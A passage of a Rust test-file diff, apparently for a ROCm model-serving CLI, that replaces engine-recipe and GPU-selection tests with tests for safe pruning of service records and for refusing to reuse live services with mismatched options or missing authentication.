+ /// between that snapshot and the delete would otherwise have its log and its + /// 0600 endpoint key deleted out from under a serving process. + /// + /// Driven through [`apply_service_prune_plan`] with a hand-built plan + /// because the window cannot be opened from outside: `prune` builds and + /// applies the plan in one call, so a record is either live for both halves + /// or dead for both. The two `skipped_live` assertions elsewhere in this + /// module both plant an already-live record, which is satisfied by the + /// *plan-building* skip and never reaches this branch. #[test] - fn protocol_engine_recipe_hint_maps_selected_engine_metadata() { - let mut recipe = resolve_builtin_model_recipe("qwen").expect("qwen recipe"); - recipe.engine_recipes = vec![ - rocm_core::ModelRecipeEngineRecord { + fn services_prune_leaves_a_record_that_restarted_after_the_plan_was_built() -> Result<()> { + let (root, paths) = test_paths("services-prune-relaunched"); + paths.ensure()?; + // Live at apply time. The current process is a guaranteed-live pid. + let record = plant_service_record(&paths, "svc-relaunched", "ready", std::process::id())?; + // The entry a plan built moments earlier, while the record was still + // stopped, would carry into the delete loop. + let artifacts = match service_record_artifacts(&paths, "svc-relaunched", "vllm") { + Ok(artifacts) => artifacts, + Err(error) => { + let _ = fs::remove_dir_all(&root); + return Err(error); + } + }; + let plan = ServicePrunePlan { + remove: vec![ServicePruneEntry { + service_id: "svc-relaunched".to_owned(), engine: "vllm".to_owned(), - required_flags: vec!["--enable-auto-tool-choice".to_owned()], - parser_settings: BTreeMap::from([( - "reasoning_parser".to_owned(), - "qwen3".to_owned(), - )]), - preferred_endpoint: Some(rocm_core::ModelRecipeEndpointRecord { - endpoint_mode: "openai".to_owned(), - settings: BTreeMap::from([("streaming".to_owned(), "true".to_owned())]), - }), - unsupported_combinations: vec![ - rocm_core::ModelRecipeUnsupportedCombinationRecord { - combination: "native Windows GPU serving".to_owned(), - reason: "vLLM ROCm serving is Linux/WSL only".to_owned(), - }, - ], - notes: vec!["adapter hint".to_owned()], - model_id_override: None, - }, - rocm_core::ModelRecipeEngineRecord { - engine: "lemonade".to_owned(), - required_flags: vec!["--reasoning-parser".to_owned(), "qwen3".to_owned()], - parser_settings: BTreeMap::new(), - preferred_endpoint: None, - unsupported_combinations: Vec::new(), - notes: Vec::new(), - model_id_override: None, - }, - ]; + status: "stopped".to_owned(), + artifacts, + }], + ..ServicePrunePlan::default() + }; - let hint = protocol_engine_recipe_hint(&recipe, "vllm").expect("vllm hint"); + let mut outcome = ServicePruneOutcome::default(); + apply_service_prune_plan(&paths, &plan, &mut outcome); + let manifest_exists = record.manifest_path.exists(); + let log_exists = record.log_path.exists(); + let key_exists = endpoint_keys::endpoint_key_file_path(&paths, "svc-relaunched").exists(); + let _ = fs::remove_dir_all(&root); - assert_eq!(hint.contract_version, ENGINE_RECIPE_CONTRACT_VERSION); - assert_eq!(hint.engine, "vllm"); - assert_eq!( - hint.required_flags, - vec!["--enable-auto-tool-choice".to_owned()] + assert!( + manifest_exists, + "a record that came back to life must not be deleted:\n{}", + outcome.text ); - assert_eq!( - hint.parser_settings - .get("reasoning_parser") - .map(String::as_str), - Some("qwen3") + assert!( + log_exists, + "the log of a live process must survive:\n{}", + outcome.text ); - assert_eq!( - hint.preferred_endpoint - .as_ref() - .map(|endpoint| endpoint.endpoint_mode.as_str()), - Some("openai") + assert!( + key_exists, + "the 0600 endpoint key of a live process must survive:\n{}", + outcome.text ); + assert_eq!(outcome.removed_records, 0); + assert_eq!(outcome.removed_files, 0); assert_eq!( - hint.preferred_endpoint - .as_ref() - .and_then(|endpoint| endpoint.settings.get("streaming")) - .map(String::as_str), - Some("true") - ); - assert_eq!(hint.unsupported_combinations.len(), 1); - assert_eq!(hint.notes, vec!["adapter hint".to_owned()]); - let serve_lines = render_serve_engine_recipe_lines(&hint); - assert!(serve_lines.contains( - "engine_recipe_policy: selected-engine required_flags are applied at launch" - )); - assert!(serve_lines.contains("engine_recipe_required_flags: --enable-auto-tool-choice")); - assert!(protocol_engine_recipe_hint(&recipe, "unknown-engine").is_none()); - } - - #[test] - fn tool_call_override_synthesizes_hint_for_vllm_without_recipe() { - // Arbitrary HF repo with no catalog recipe: the explicit override is the - // only source of the parser, and a minimal hint is synthesized to carry it. - let hint = engine_recipe_with_tool_call_override("vllm", None, Some("hermes")) - .expect("an override should synthesize a vllm tool-choice hint"); - assert_eq!(hint.engine, "vllm"); - assert_eq!(hint.contract_version, ENGINE_RECIPE_CONTRACT_VERSION); - assert_eq!( - hint.required_flags, - vec![ - "--enable-auto-tool-choice".to_owned(), - "--tool-call-parser".to_owned(), - "hermes".to_owned(), - ] + outcome.skipped_live, 1, + "the re-check's skip must be counted like any other:\n{}", + outcome.text + ); + assert!( + outcome + .text + .contains(" svc-relaunched started again while this ran and was left alone."), + "the skip must be on screen, not silent:\n{}", + outcome.text ); + Ok(()) } + /// `prunable_by_modified` promises to fail *closed*: a modification time + /// that yields no age — a file stamped in the future by clock skew or a + /// stray `touch` — is kept, and only the explicit zero-age opt-out overrides + /// that. Neither half was asserted anywhere: every other test plants a + /// readable past time, for which `is_some_and` and `is_none_or` agree and + /// the `min_age.is_zero()` early return is unreachable. #[test] - fn tool_call_override_replaces_recipe_authored_parser() { - // Override wins over an authored parser: exactly one `--tool-call-parser`, - // set to the override value, with unrelated flags preserved in order. - let existing = EngineRecipeHint { - contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), - engine: "vllm".to_owned(), - required_flags: vec![ - "--reasoning-parser".to_owned(), - "qwen3".to_owned(), - "--enable-auto-tool-choice".to_owned(), - "--tool-call-parser".to_owned(), - "llama3_json".to_owned(), - ], - ..EngineRecipeHint::default() + fn services_prune_keeps_a_future_dated_record_until_any_age() -> Result<()> { + let (root, paths) = test_paths("services-prune-future-mtime"); + paths.ensure()?; + let record = plant_service_record(&paths, "svc-future", "failed", 999_999_999)?; + // `now.duration_since(future)` is an error, so `age_from_modified` has + // no age to compare against the threshold. + let backdate = |to: SystemTime| -> Result<()> { + fs::File::options() + .write(true) + .open(&record.manifest_path)? + .set_modified(to)?; + Ok(()) }; - let hint = - engine_recipe_with_tool_call_override("vllm", Some(existing), Some("hermes")).unwrap(); - assert_eq!( - hint.required_flags, - vec![ - "--reasoning-parser".to_owned(), - "qwen3".to_owned(), - "--enable-auto-tool-choice".to_owned(), - "--tool-call-parser".to_owned(), - "hermes".to_owned(), - ] - ); - assert_eq!( - hint.required_flags - .iter() - .filter(|flag| *flag == "--tool-call-parser") - .count(), - 1 + let next_year = SystemTime::now() + Duration::from_hours(24 * 365); + backdate(next_year)?; + assert!( + age_from_modified(path_modified(&record.manifest_path), SystemTime::now()).is_none(), + "premise: a future-stamped manifest must have no age" ); - } - #[test] - fn tool_call_override_absent_preserves_recipe_flags_without_guessing() { - // No override: authored recipe metadata flows through unchanged and no - // parser is ever guessed from the model ref. - let authored = EngineRecipeHint { - contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), - engine: "vllm".to_owned(), - required_flags: vec![ - "--enable-auto-tool-choice".to_owned(), - "--tool-call-parser".to_owned(), - "hermes".to_owned(), - ], - ..EngineRecipeHint::default() + let kept = + prune_managed_service_records(&paths, DEFAULT_SERVICE_PRUNE_MIN_AGE_HOURS, false, true); + let kept = match kept { + Ok(outcome) => outcome, + Err(error) => { + let _ = fs::remove_dir_all(&root); + return Err(error); + } }; - let hint = - engine_recipe_with_tool_call_override("vllm", Some(authored.clone()), None).unwrap(); - assert_eq!(hint.required_flags, authored.required_flags); - - // Unknown model, no recipe, no override: nothing is injected. - assert!(engine_recipe_with_tool_call_override("vllm", None, None).is_none()); - // A blank override is treated as absent. - assert!(engine_recipe_with_tool_call_override("vllm", None, Some(" ")).is_none()); - } + let kept_manifest = record.manifest_path.exists(); - #[test] - fn tool_call_override_leaves_non_vllm_engines_untouched() { - // The override is vLLM-specific: other engines are never rewritten. - assert!(engine_recipe_with_tool_call_override("lemonade", None, Some("hermes")).is_none()); - let existing = EngineRecipeHint { - contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), - engine: "lemonade".to_owned(), - required_flags: vec!["--some-flag".to_owned()], - ..EngineRecipeHint::default() + // Re-stamped so the second run really does meet the no-age case rather + // than a time the first run's refresh may have rewritten to `now`. + // Ignored rather than `?`-ed: if the first run wrongly deleted the + // manifest there is nothing left to stamp, and the `kept_manifest` + // assertion below has to be what reports that, not an "os error 2". + let _ = backdate(next_year); + let taken = parse_services_prune_args(&["rocm", "services", "prune", "--any-age", "--yes"]) + .and_then(|(hours, dry_run, yes)| { + assert_eq!(hours, 0, "--any-age must collapse to the zero-age rule"); + prune_managed_service_records(&paths, hours, dry_run, yes) + }); + let taken = match taken { + Ok(outcome) => outcome, + Err(error) => { + let _ = fs::remove_dir_all(&root); + return Err(error); + } }; - let hint = engine_recipe_with_tool_call_override( - "lemonade", - Some(existing.clone()), - Some("hermes"), - ) - .unwrap(); - assert_eq!(hint.required_flags, existing.required_flags); - } + let taken_manifest = record.manifest_path.exists(); + let _ = fs::remove_dir_all(&root); - #[test] - fn gpu_memory_utilization_absent_without_explicit_flag() { - // rocm-cli ships no default: with nothing supplied the recipe is left - // alone, so vLLM applies its own default rather than one rocm-cli owns. - assert_eq!(parse_gpu_memory_utilization(None).unwrap(), None); - assert!(engine_recipe_with_gpu_memory_utilization_override("vllm", None, None).is_none()); - let authored = EngineRecipeHint { - contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), - engine: "vllm".to_owned(), - required_flags: vec!["--enable-auto-tool-choice".to_owned()], - ..EngineRecipeHint::default() - }; - let hint = engine_recipe_with_gpu_memory_utilization_override("vllm", Some(authored), None) - .unwrap(); assert!( - !hint - .required_flags - .iter() - .any(|flag| flag == "--gpu-memory-utilization"), - "no default may be injected: {:?}", - hint.required_flags + kept_manifest, + "a time that cannot be aged must fail closed under the default rule:\n{}", + kept.text ); - } - - #[test] - fn gpu_memory_utilization_override_reaches_required_flags() { - let value = parse_gpu_memory_utilization(Some("0.35")).unwrap(); - let hint = engine_recipe_with_gpu_memory_utilization_override("vllm", None, value) - .expect("an explicit value should synthesize a vllm hint"); - assert_eq!(hint.engine, "vllm"); - assert_eq!(hint.contract_version, ENGINE_RECIPE_CONTRACT_VERSION); + assert_eq!(kept.removed_records, 0); assert_eq!( - hint.required_flags, - vec!["--gpu-memory-utilization".to_owned(), "0.35".to_owned()] + kept.skipped_recent, 1, + "the keep must be reported, not silent:\n{}", + kept.text ); - } - - #[test] - fn gpu_memory_utilization_override_replaces_authored_value_and_keeps_others() { - let existing = EngineRecipeHint { - contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), - engine: "vllm".to_owned(), - required_flags: vec![ - "--enable-auto-tool-choice".to_owned(), - "--gpu-memory-utilization".to_owned(), - "0.8".to_owned(), - "--tool-call-parser".to_owned(), - "hermes".to_owned(), - ], - ..EngineRecipeHint::default() - }; - let hint = engine_recipe_with_gpu_memory_utilization_override( - "vllm", - Some(existing), - parse_gpu_memory_utilization(Some("1.0")).unwrap(), - ) - .unwrap(); - assert_eq!( - hint.required_flags, - vec![ - "--enable-auto-tool-choice".to_owned(), - "--tool-call-parser".to_owned(), - "hermes".to_owned(), - "--gpu-memory-utilization".to_owned(), - "1".to_owned(), - ] + assert!( + !taken_manifest, + "--any-age is the opt-out that takes it anyway:\n{}", + taken.text ); + assert_eq!(taken.removed_records, 1); + assert_eq!(taken.skipped_recent, 0); + Ok(()) } #[test] - fn gpu_memory_utilization_override_leaves_non_vllm_engines_untouched() { - // The override is vLLM-specific: other engines are never rewritten, with - // or without a recipe of their own. + fn services_prune_requires_yes_unless_dry_run() -> Result<()> { + let (root, paths) = test_paths("services-prune-yes"); + paths.ensure()?; + plant_service_record(&paths, "svc-prune-yes", "failed", 999_999_999)?; + + let error = prune_managed_service_records(&paths, 0, false, false) + .expect_err("prune without --yes must fail"); + let manifest_exists = paths.service_manifest_path("svc-prune-yes").exists(); + let _ = fs::remove_dir_all(&root); + + let message = error.to_string(); + assert!(message.contains("requires --yes"), "unexpected: {message}"); assert!( - engine_recipe_with_gpu_memory_utilization_override("lemonade", None, Some(0.5)) - .is_none() + message.contains("rocm services prune --dry-run"), + "the error must name the preview command: {message}" ); - let existing = EngineRecipeHint { - contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), - engine: "lemonade".to_owned(), - required_flags: vec!["--some-flag".to_owned()], - ..EngineRecipeHint::default() - }; - let hint = engine_recipe_with_gpu_memory_utilization_override( - "lemonade", - Some(existing.clone()), - Some(0.5), - ) - .unwrap(); - assert_eq!(hint.required_flags, existing.required_flags); + assert!(manifest_exists, "a refused prune must delete nothing"); + Ok(()) } #[test] - fn gpu_memory_utilization_rejects_out_of_range_and_unparsable_values() { - // An explicit CLI value is never silently ignored (unlike the env-var - // overrides elsewhere): each bad value must produce an actionable error. - for bad in ["0", "0.0", "1.5", "-0.2", "abc", "", "NaN", "inf"] { - let Err(error) = parse_gpu_memory_utilization(Some(bad)) else { - panic!("`{bad}` must be rejected, not silently ignored"); - }; - let message = error.to_string(); - assert!( - message.contains("--gpu-memory-utilization"), - "error for `{bad}` should name the flag: {message}" - ); - } - assert_eq!( - parse_gpu_memory_utilization(Some(" 0.5 ")).unwrap(), - Some(0.5) - ); - assert_eq!(parse_gpu_memory_utilization(Some("1")).unwrap(), Some(1.0)); - } + fn duplicate_managed_launch_detected_across_distinct_service_ids() -> Result<()> { + // `generate_service_id` embeds a timestamp, so a second launch for the + // same engine+model has a DIFFERENT service_id. The guard must still + // detect the live service by (engine, canonical_model_id), and return + // the newest live match. `starting` skips the endpoint probe; the + // current process id is a guaranteed-live PID. + let (root, paths) = test_paths("dup-managed-distinct-ids"); + paths.ensure()?; - #[test] - fn serve_notes_surface_the_ignored_engine_flag_in_summary_mode() { - // The interactive summary is what a default `rocm serve` prints, so a flag - // the selected engine cannot honor has to be reported through this path — - // not only on the plan path that an interactive run never takes. - let note = "--gpu-memory-utilization applies only to vLLM; ignored for engine 'lemonade'"; - let notes = collect_serve_notes( - false, - &GpuSelection::Auto, - false, - &[0], + // Older, dead manifest for the same engine+model (distinct service_id). + let mut dead = ManagedServiceRecord::new( + &paths, + "lemonade-qwen-1000", + "lemonade", + "qwen", + "qwen-canonical", + "127.0.0.1", + 11500, + "managed", + 999_999_999, + None, None, - Some(note), None, - false, - ); - assert!( - notes.iter().any(|entry| entry == note), - "the ignored-flag note must reach the summary: {notes:?}" ); + dead.status = "ready".to_owned(); + dead.engine_pid = Some(999_999_999); + dead.created_at_unix_ms = 1000; + dead.write()?; - let quiet = collect_serve_notes( - false, - &GpuSelection::Auto, - false, - &[0], + // Newer, live manifest for the same engine+model (distinct service_id). + let mut live = ManagedServiceRecord::new( + &paths, + "lemonade-qwen-2000", + "lemonade", + "qwen", + "qwen-canonical", + "127.0.0.1", + 11501, + "managed", + std::process::id(), None, None, None, - false, - ); - assert!( - !quiet - .iter() - .any(|entry| entry.contains("--gpu-memory-utilization")), - "nothing to report when the flag was honored: {quiet:?}" ); - } + live.status = "starting".to_owned(); + live.engine_pid = Some(std::process::id()); + live.created_at_unix_ms = 2000; + live.write()?; - #[test] - fn generation_defaults_inject_override_generation_config_for_vllm() { - // vLLM has no raw sampling flags: all three controls collapse into a single - // `--override-generation-config` JSON with `--max-tokens` mapped to the - // engine's `max_new_tokens` output cap. - let hint = engine_recipe_with_generation_defaults( - "vllm", - None, - ServeGenerationDefaults { - temperature: Some(0.5), - top_p: Some(0.25), - max_tokens: Some(128), - }, - ) - .expect("vllm defaults are supported") - .expect("supplied defaults should synthesize a vllm hint"); - assert_eq!(hint.engine, "vllm"); - assert_eq!(hint.required_flags.len(), 2); - assert_eq!(hint.required_flags[0], "--override-generation-config"); - let config: serde_json::Value = - serde_json::from_str(&hint.required_flags[1]).expect("config is valid JSON"); - assert_eq!(config["temperature"], 0.5); - assert_eq!(config["top_p"], 0.25); - assert_eq!(config["max_new_tokens"], 128); - } - - #[test] - fn generation_defaults_include_only_supplied_values() { - // Unset controls are omitted so the engine keeps its own defaults. - let hint = engine_recipe_with_generation_defaults( - "vllm", - None, - ServeGenerationDefaults { - temperature: Some(0.25), - top_p: None, - max_tokens: None, - }, - ) - .expect("vllm defaults are supported") - .expect("a single supplied default still synthesizes a hint"); - let config: serde_json::Value = - serde_json::from_str(&hint.required_flags[1]).expect("config is valid JSON"); - assert_eq!(config["temperature"], 0.25); - assert!(config.get("top_p").is_none()); - assert!(config.get("max_new_tokens").is_none()); - } + let found = existing_live_managed_service(&paths, "lemonade", "qwen-canonical"); + let _ = fs::remove_dir_all(root); - #[test] - fn generation_defaults_merge_with_recipe_authored_config() { - // CLI values win, but authored keys the CLI does not set are preserved and - // exactly one `--override-generation-config` pair remains. - let authored = EngineRecipeHint { - contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), - engine: "vllm".to_owned(), - required_flags: vec![ - "--enable-auto-tool-choice".to_owned(), - "--override-generation-config".to_owned(), - "{\"temperature\":0.9,\"repetition_penalty\":1.1}".to_owned(), - ], - ..EngineRecipeHint::default() - }; - let hint = engine_recipe_with_generation_defaults( - "vllm", - Some(authored), - ServeGenerationDefaults { - temperature: Some(0.25), - top_p: Some(0.5), - max_tokens: None, - }, - ) - .expect("vllm defaults are supported") - .unwrap(); + let found = found.expect("a live managed service should be detected by engine+model"); assert_eq!( - hint.required_flags - .iter() - .filter(|flag| *flag == "--override-generation-config") - .count(), - 1 + found.service_id, "lemonade-qwen-2000", + "should return the newest live match" ); - assert_eq!(hint.required_flags[0], "--enable-auto-tool-choice"); - let config: serde_json::Value = - serde_json::from_str(hint.required_flags.last().unwrap()).unwrap(); - assert_eq!(config["temperature"], 0.25); - assert_eq!(config["top_p"], 0.5); - assert_eq!(config["repetition_penalty"], 1.1); + assert!(managed_service_is_live(&found)); + Ok(()) } #[test] - fn generation_defaults_absent_or_non_vllm_pass_through() { - // No controls supplied: the hint flows through unchanged. - assert!( - engine_recipe_with_generation_defaults( - "vllm", - None, - ServeGenerationDefaults::default() - ) - .unwrap() - .is_none() + fn dead_managed_service_allows_relaunch() -> Result<()> { + // A stale manifest with dead PIDs must NOT block a relaunch: liveness + // refresh demotes it to "stopped", so the guard returns None. + let (root, paths) = test_paths("dup-managed-dead"); + paths.ensure()?; + let mut record = ManagedServiceRecord::new( + &paths, + "lemonade-qwen-3000", + "lemonade", + "qwen", + "qwen-canonical", + "127.0.0.1", + 11502, + "managed", + 999_999_999, + None, + None, + None, ); + record.status = "ready".to_owned(); + record.engine_pid = Some(999_999_999); + record.write()?; + + let found = existing_live_managed_service(&paths, "lemonade", "qwen-canonical"); + let _ = fs::remove_dir_all(root); + assert!( - engine_recipe_with_generation_defaults( - "unknown", - None, - ServeGenerationDefaults { - temperature: Some(0.5), - top_p: Some(0.5), - max_tokens: Some(64), - }, - ) - .is_err() + found.is_none(), + "a dead managed service must not block relaunch" ); + Ok(()) } #[test] - fn generation_defaults_translate_to_lemonade_llama_server_flags() { - let hint = engine_recipe_with_generation_defaults( + fn live_service_for_other_model_does_not_block() -> Result<()> { + // A live service for a DIFFERENT model must not match — the guard keys + // on the model, not just the engine. + let (root, paths) = test_paths("dup-managed-other-model"); + paths.ensure()?; + let mut record = ManagedServiceRecord::new( + &paths, + "lemonade-other-1", "lemonade", + "other", + "other-canonical", + "127.0.0.1", + 11503, + "managed", + std::process::id(), None, - ServeGenerationDefaults { - temperature: Some(0.5), - top_p: Some(0.25), - max_tokens: Some(128), - }, - ) - .expect("lemonade defaults are supported") - .expect("defaults synthesize a recipe"); - assert_eq!( - hint.required_flags, - [ - "--temperature", - "0.5", - "--top-p", - "0.25", - "--n-predict", - "128" - ] + None, + None, + ); + record.status = "starting".to_owned(); + record.engine_pid = Some(std::process::id()); + record.write()?; + + let found = existing_live_managed_service(&paths, "lemonade", "qwen-canonical"); + let _ = fs::remove_dir_all(root); + + assert!( + found.is_none(), + "a live service for a different model must not match" ); + Ok(()) } #[test] - fn generation_defaults_preserve_unset_lemonade_recipe_flags() { - // Only --temperature is supplied via CLI; an authored --top-p already - // present in the recipe must survive untouched, mirroring the vLLM - // merge behavior instead of being deleted. - let authored = EngineRecipeHint { - contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), - engine: "lemonade".to_owned(), - required_flags: vec!["--top-p".to_owned(), "0.9".to_owned()], - ..EngineRecipeHint::default() - }; - let hint = engine_recipe_with_generation_defaults( - "lemonade", - Some(authored), - ServeGenerationDefaults { - temperature: Some(0.5), - top_p: None, - max_tokens: None, - }, - ) - .expect("lemonade defaults are supported") - .expect("supplied defaults should synthesize a hint"); - assert_eq!( - hint.required_flags, - ["--top-p", "0.9", "--temperature", "0.5"] - ); + fn missing_manifest_allows_launch() { + // No services dir / manifests → nothing to detect, launch proceeds. + let (root, paths) = test_paths("dup-managed-missing"); + let found = existing_live_managed_service(&paths, "lemonade", "qwen-canonical"); + let _ = fs::remove_dir_all(root); + assert!(found.is_none()); } #[test] - fn serve_notes_pair_low_vram_with_the_vllm_utilization_hint() { - // A busy discrete card that trips the low-VRAM warning: on vLLM the note - // must also carry the concrete `--gpu-memory-utilization` workaround, so - // the interactive summary tells the user how to avoid the OOM. - let busy = [vram(0, 182_000, 192_000)]; - let notes = collect_serve_notes( - false, - &GpuSelection::Auto, - false, - &[0], - Some(&busy), + fn spawn_managed_engine_child_blocks_reuse_with_mismatched_recipe() -> Result<()> { + // A live service recorded with one recipe (e.g. a tool-call parser flag) + // must reject a relaunch requesting a different recipe rather than + // silently reusing the old server, and the error must not claim the + // mismatch is specifically about generation defaults when it could stem + // from any recipe field. + let (root, paths) = test_paths("dup-managed-recipe-mismatch"); + paths.ensure()?; + let mut existing = ManagedServiceRecord::new( + &paths, + "lemonade-qwen-1000", + "lemonade", + "qwen", + "qwen-canonical", + "127.0.0.1", + 11510, + "managed", + std::process::id(), + None, + None, None, - Some(&host_gpu("gfx1100")), - true, - ); - assert!( - notes.iter().any(|entry| entry.contains("has only")), - "the low-VRAM warning must be present: {notes:?}" - ); - assert!( - notes - .iter() - .any(|entry| entry.contains("--gpu-memory-utilization")), - "vLLM low-VRAM notes must hint the utilization workaround: {notes:?}" ); + existing.status = "ready".to_owned(); + existing.engine_pid = Some(std::process::id()); + existing.engine_recipe_json = Some(serde_json::to_string(&EngineRecipeHint { + contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), + engine: "lemonade".to_owned(), + required_flags: vec!["--tool-call-parser".to_owned(), "hermes".to_owned()], + ..EngineRecipeHint::default() + })?); + existing.write()?; - // The literal fragments the GPU-lane scenario - // `@id:serve-vllm-low-vram-oom-guidance` matches on. That scenario runs - // only where a real card exists, so pin the wording here too: a rename - // then fails on every lane rather than silently on the one lane that can - // observe it. `GPU 0 has only` is what makes the warning provably about - // the *pinned* device; `vLLM reserves ~90%` is what distinguishes the - // pre-launch hint from any other line that merely names the flag. - assert!( - notes.iter().any(|entry| entry.contains("GPU 0 has only")), - "the warning must name the selected GPU: {notes:?}" - ); - assert!( - notes - .iter() - .any(|entry| entry.contains("vLLM reserves ~90%")), - "the hint must explain vLLM's total-VRAM reservation: {notes:?}" - ); + let resolve = ResolveModelResponse { + canonical_model_id: "qwen-canonical".to_owned(), + task: "chat".to_owned(), + source: "hf".to_owned(), + revision: "main".to_owned(), + loader: "llama.cpp".to_owned(), + trust_remote_code: false, + chat_template_mode: "auto".to_owned(), + dtype: "auto".to_owned(), + device_policy: DevicePolicy::GpuPreferred, + estimated_memory: "unknown".to_owned(), + launch_defaults: serde_json::json!({}), + engine_recipe: None, + warnings: Vec::new(), + }; + let requested_recipe = EngineRecipeHint { + contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), + engine: "lemonade".to_owned(), + required_flags: vec!["--temperature".to_owned(), "0.5".to_owned()], + ..EngineRecipeHint::default() + }; - // The same busy card on a non-vLLM engine keeps the warning but omits the - // vLLM-only knob, which that engine cannot honor. - let lemonade = collect_serve_notes( - false, - &GpuSelection::Auto, - false, - &[0], - Some(&busy), + let result = spawn_managed_engine_child( + &paths, + "lemonade", + "lemonade-qwen-2000", + "qwen", + &resolve, + "127.0.0.1", + 11511, + &resolve.device_policy, + &[], None, - Some(&host_gpu("gfx1100")), + None, + Some(&requested_recipe), false, ); + let _ = fs::remove_dir_all(root); + + let Err(error) = result else { + panic!("mismatched recipe on a live service must be rejected") + }; + let message = error.to_string(); assert!( - lemonade.iter().any(|entry| entry.contains("has only")), - "the low-VRAM warning still fires for other engines: {lemonade:?}" + message.contains("different serve options"), + "message should describe the mismatch generically: {message}" ); assert!( - !lemonade - .iter() - .any(|entry| entry.contains("--gpu-memory-utilization")), - "non-vLLM engines must not be told to pass a vLLM-only flag: {lemonade:?}" + message.contains("recipe hint, tool-call parser, or generation defaults"), + "message should not single out generation defaults as the sole cause: {message}" ); + Ok(()) } #[test] - fn engine_recipe_enables_tool_choice_reflects_flags() { - assert!(!engine_recipe_enables_tool_choice(None)); - let without = EngineRecipeHint { - contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), - engine: "vllm".to_owned(), - required_flags: vec!["--reasoning-parser".to_owned(), "qwen3".to_owned()], - ..EngineRecipeHint::default() - }; - assert!(!engine_recipe_enables_tool_choice(Some(&without))); - let with = engine_recipe_with_tool_call_override("vllm", None, Some("hermes")); - assert!(engine_recipe_enables_tool_choice(with.as_ref())); - } - - #[test] - fn parse_device_policy_defaults_to_gpu_required_without_cpu_fallback() -> Result<()> { - assert_eq!(parse_device_policy(None)?, DevicePolicy::GpuRequired); - assert_eq!(parse_device_policy(Some("gpu"))?, DevicePolicy::GpuRequired); - assert_eq!( - parse_device_policy(Some("gpu_preferred"))?, - DevicePolicy::GpuRequired + fn spawn_managed_engine_child_refuses_to_reuse_an_unauthenticated_service() -> Result<()> { + // `--require-api-key` used to be accepted and dropped on this path. The + // reuse branch returns before the flag is recorded and before the + // endpoint key is checked, so a caller demanding auth got a server that + // never had it, with no error. `rocm remote serve` then published that + // endpoint onto the tailnet and printed a freshly minted key under "the + // API key above is what stops anyone else calling it" — a false + // assurance about an endpoint the whole tailnet can reach. + // + // Asserted through `spawn_managed_engine_child` rather than against the + // guard's own arguments: the defect was the early return, so only the + // real call site can fail for it. + let (root, paths) = test_paths("dup-managed-unauthenticated-reuse"); + paths.ensure()?; + let mut existing = ManagedServiceRecord::new( + &paths, + "lemonade-qwen-3000", + "lemonade", + "qwen", + "qwen-canonical", + "127.0.0.1", + 11520, + "managed", + std::process::id(), + None, + None, + None, ); - let cpu = parse_device_policy(Some("cpu")).unwrap_err().to_string(); - assert!(cpu.contains("CPU mode is not a fallback path")); - Ok(()) - } + existing.status = "ready".to_owned(); + existing.engine_pid = Some(std::process::id()); + // The state that matters: live, matching, and serving without auth. + existing.requires_api_key = false; + existing.write()?; - fn vram(index: u32, used_mb: u64, total_mb: u64) -> GpuVramUsage { - GpuVramUsage { - index, - used_mb, - total_mb, - } - } + let resolve = ResolveModelResponse { + canonical_model_id: "qwen-canonical".to_owned(), + task: "chat".to_owned(), + source: "hf".to_owned(), + revision: "main".to_owned(), + loader: "llama.cpp".to_owned(), + trust_remote_code: false, + chat_template_mode: "auto".to_owned(), + dtype: "auto".to_owned(), + device_policy: DevicePolicy::GpuPreferred, + estimated_memory: "unknown".to_owned(), + launch_defaults: serde_json::json!({}), + engine_recipe: None, + warnings: Vec::new(), + }; - #[test] - fn auto_selection_prefers_lowest_index_idle_gpu() { - // GPU 0 busy (only 5% free), GPU 1 idle, GPU 2 idle. - let usage = [ - vram(0, 182_000, 192_000), - vram(1, 1_000, 192_000), - vram(2, 500, 192_000), - ]; - assert_eq!( - select_auto_gpu_index(Some(3), None, &[], Some(&usage)), - vec![1], - "should skip the busy GPU 0 and pick the lowest idle GPU" + let result = spawn_managed_engine_child( + &paths, + "lemonade", + "lemonade-qwen-3001", + "qwen", + &resolve, + "127.0.0.1", + 11520, + &resolve.device_policy, + &[], + None, + None, + None, + // The demand that used to be silently discarded. + true, ); - } + let _ = fs::remove_dir_all(root); - #[test] - fn auto_selection_skips_managed_and_busy_gpus_then_picks_most_free() { - // GPU 0 pinned by a managed service; GPU 1 partly used; GPU 2 more free - // but none is fully idle, so pass 2 (most free) applies. - let usage = [ - vram(0, 10_000, 192_000), - vram(1, 120_000, 192_000), - vram(2, 60_000, 192_000), - ]; - assert_eq!( - select_auto_gpu_index(Some(3), None, &[0], Some(&usage)), - vec![2], - "with no idle GPU, pick the non-busy GPU with the most free VRAM" + let Err(error) = result else { + panic!( + "reusing an unauthenticated service must not satisfy `--require-api-key`; a \ + satisfied reuse leaves the endpoint open while the caller is told it is not" + ) + }; + let message = error.to_string(); + assert!( + message.contains("without authentication"), + "the refusal must say why it refused: {message}" ); - } - - #[test] - fn auto_selection_pass_two_ranks_by_absolute_free_vram() { - // Heterogeneous VRAM with no fully-idle GPU (so pass 2 applies): - // GPU 0 is a small card with a high free *fraction* (75%) but little - // absolute free memory; GPU 1 is large with a lower fraction (~48%) - // but far more free memory. Auto-selection must prefer GPU 1. - let usage = [vram(0, 6_000, 24_000), vram(1, 100_000, 192_000)]; - assert_eq!( - select_auto_gpu_index(Some(2), None, &[], Some(&usage)), - vec![1], - "pass 2 should rank by absolute free VRAM, not free percentage" + assert!( + message.contains("rocm services stop lemonade-qwen-3000"), + "the refusal must name the way out, with the service to stop: {message}" ); + Ok(()) } #[test] - fn auto_selection_falls_back_to_first_non_busy_without_vram() { - assert_eq!(select_auto_gpu_index(Some(4), None, &[0, 1], None), vec![2]); - // Unknown GPU count: no GPU-0 fallback — defer to the engine device probe. - assert_eq!( - select_auto_gpu_index(None, None, &[], None), - Vec::::new() + fn a_managed_spawn_refuses_an_invalid_key_file_on_a_service_that_requires_one() -> Result<()> { + // Drives the real call site, not the guard's own arguments. The service + // was launched with 